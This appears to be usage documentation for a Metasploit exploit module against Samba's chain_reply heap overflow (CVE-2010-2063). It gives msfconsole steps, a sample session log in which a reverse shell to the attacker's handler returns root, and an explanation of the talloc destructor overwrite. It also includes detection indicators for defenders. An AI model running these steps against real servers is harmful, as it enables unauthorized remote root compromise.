## Vulnerable Application

This module exploits a heap-based memory corruption vulnerability in Samba versions
prior to 3.3.13. The flaw exists in the SMB1 packet chaining logic, specifically within
the `chain_reply()` function, where attacker-controlled offsets are used without proper
bounds checking.

By crafting a malicious chained SMB response packet with an invalid `smb_off2` value,
an attacker can corrupt heap memory and overwrite sensitive metadata. The exploit
leverages this condition to overwrite a `talloc` chunk destructor function pointer,
resulting in arbitrary code execution.

This module targets 32-bit Linux systems without NX memory protection. Due to Samba’s
default forking behavior, exploitation attempts can be repeated indefinitely, enabling
brute-force techniques to achieve reliable execution.

## Vulnerable Software

**Samba versions < 3.3.13** (3.1.x through 3.3.12).

- **Affected branches:** 3.1.x – 3.3.12
- **Unaffected:** Samba 3.0.x (see explanation below)
- **Protocol:** SMB1 (NetBIOS)
- **Default Port:** 139/tcp

Vulnerable versions can be obtained from:

- https://download.samba.org/pub/samba/old/

**Key requirements:**

- x86 Linux (no NX memory protection)
- NetBIOS over TCP (port 139)
- Exploits `talloc` chunk destructor overwrite
- Samba forks per session, enabling brute-force reliability

**Affected distributions (historical):**

- Debian 5 (3.2.5-4lenny6) – tested target
- Ubuntu 6.06 / 8.04 / 9.04 (fixed in later updates)

## Verification Steps

1. Start `msfconsole`
2. `use exploit/linux/samba/chain_reply`
3. `show targets` → Select `0` (Linux Debian5) or `1` (Debugging)
4. `set RHOSTS <target-ip>`
5. `set RPORT 139`
6. `exploit`

## Scenarios

### Debian 5 (Samba 3.2.x) - Default Options

msf6 > use exploit/linux/samba/chain_reply
msf6 exploit(chain_reply) > set RHOSTS 192.168.1.100
msf6 exploit(chain_reply) > set RPORT 139
msf6 exploit(chain_reply) > show targets
msf6 exploit(chain_reply) > set target 0
msf6 exploit(chain_reply) > exploit

[*] Started reverse TCP handler on 192.168.1.10:4444
[*] Trying return address 0x081ed5f2...
[*] Trying return address 0x081ed8f2...
[*] Trying return address 0x081edbF2...
[*] Command shell session 1 opened (192.168.1.10:4444 -> 192.168.1.100:54321)

$ id
uid=0(root) gid=0(root) groups=0(root)
$ uname -a
Linux debian5 2.6.26-2-686 #1 SMP 2009-11-11 21:39:45 +0100 i686 GNU/Linux

## Options

| Name | Current | Required | Description |
|------|---------|----------|-------------|
| RHOSTS | - | yes | Target IP |
| RPORT | 139 | yes | **NetBIOS port (139), NOT 445** |
| SMBUser | - | no | Username (anonymous by default) |

## Targets

The module supports two targets:

| Id | Name | Offset2 | Bruteforce Range |
|----|------|---------|------------------|
| 0 | Linux (Debian5 3.2.5-4lenny6) | 0x1fec | 0x081ed5f2 (jmp ecx in smbd) |
| 1 | Debugging Target | 0x1fec | 0xAABBCCDD |

## Technical Details

### Vulnerability Overview

**CVE-2010-2063** (OSVDB-65518) is a buffer overflow in SMB1 packet chaining that affects Samba versions prior to 3.3.13.

**Root Cause:**
- The `chain_reply()` function fails to properly validate the `smb_off2` offset parameter
- When handling chained response packets, this offset is used without bounds checking
- Setting the offset to a value larger than the destination buffer size causes memory corruption
- Setting it smaller than `smb_wct` (0x24) corrupts the input buffer header

**Code Path:**
SMB packet received → chain_reply() → smb_off2 validated? NO
→ memory corruption in talloc chunk → destructor overwrite

### Exploitation Mechanism

The exploit uses a multi-stage approach to achieve code execution:

1. **Talloc Chunk Allocation:** Multiple anonymous SMB session setups allocate talloc chunks in predictable memory locations
2. **Buffer Overflow:** Crafted TRANS packet with `smb_off2 = 0x1fec` triggers the vulnerability
3. **Destructor Overwrite:** The overflow overwrites the `tc->destructor` function pointer in talloc metadata
4. **Return Address Brute Force:** Since Samba forks for each session, the exploit attempts multiple return addresses
5. **Code Execution:** When the talloc chunk is freed, the overwritten destructor is called, executing the payload

### Why 3.0.x is NOT Exploitable

Samba 3.0.x uses a much larger InputBuffer (approximately 0x20441 bytes). Although
corruption is possible, the affected chunk is not reused before process termination,
making reliable exploitation infeasible.

### Reliability Characteristics

- **Stability:** CRASH_SERVICE_RESTARTS (Samba forks, automatically restarts)
- **Side Effects:** IOC_IN_LOGS (SMB logs will show repeated connection attempts)
- **Reliability:** UNRELIABLE_SESSION (Some attempts may fail, but unlimited retries possible)

### Payload Constraints

- **Space:** 600 bytes maximum for shellcode
- **Bad Characters:** None
- **Target Platform:** Linux x86 (32-bit)

## Detection Notes
Indicators of exploitation attempts may include:

- Repeated SMB session setup requests
- Abnormal SMB chained response packets
- Frequent `smbd` child process crashes

## References

- [CVE-2010-2063 - NVD](https://nvd.nist.gov/vuln/detail/CVE-2010-2063)
[iDefense Advisory](https://web.archive.org/web/20100822024323/http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=873)
- [Rapid7 Metasploit Module](https://www.rapid7.com/db/modules/exploit/linux/samba/chain_reply/)
- [Exploit-DB Reference](https://www.exploit-db.com/exploits/16860)

## Notes for Penetration Testers

- Always verify the Samba version before exploitation using SMB enumeration tools
- Port 139 must be accessible (not 445, which uses SMB2+)
- Some modern Samba installations may have mitigations; verify vulnerability presence
- Exploitation is most reliable on older distributions (Debian 5, Ubuntu 8.04/9.04)
- ASLR/DEP/NX must be disabled for successful exploitation
- Monitor system logs for repeated SMB connection attempts that may indicate exploitation
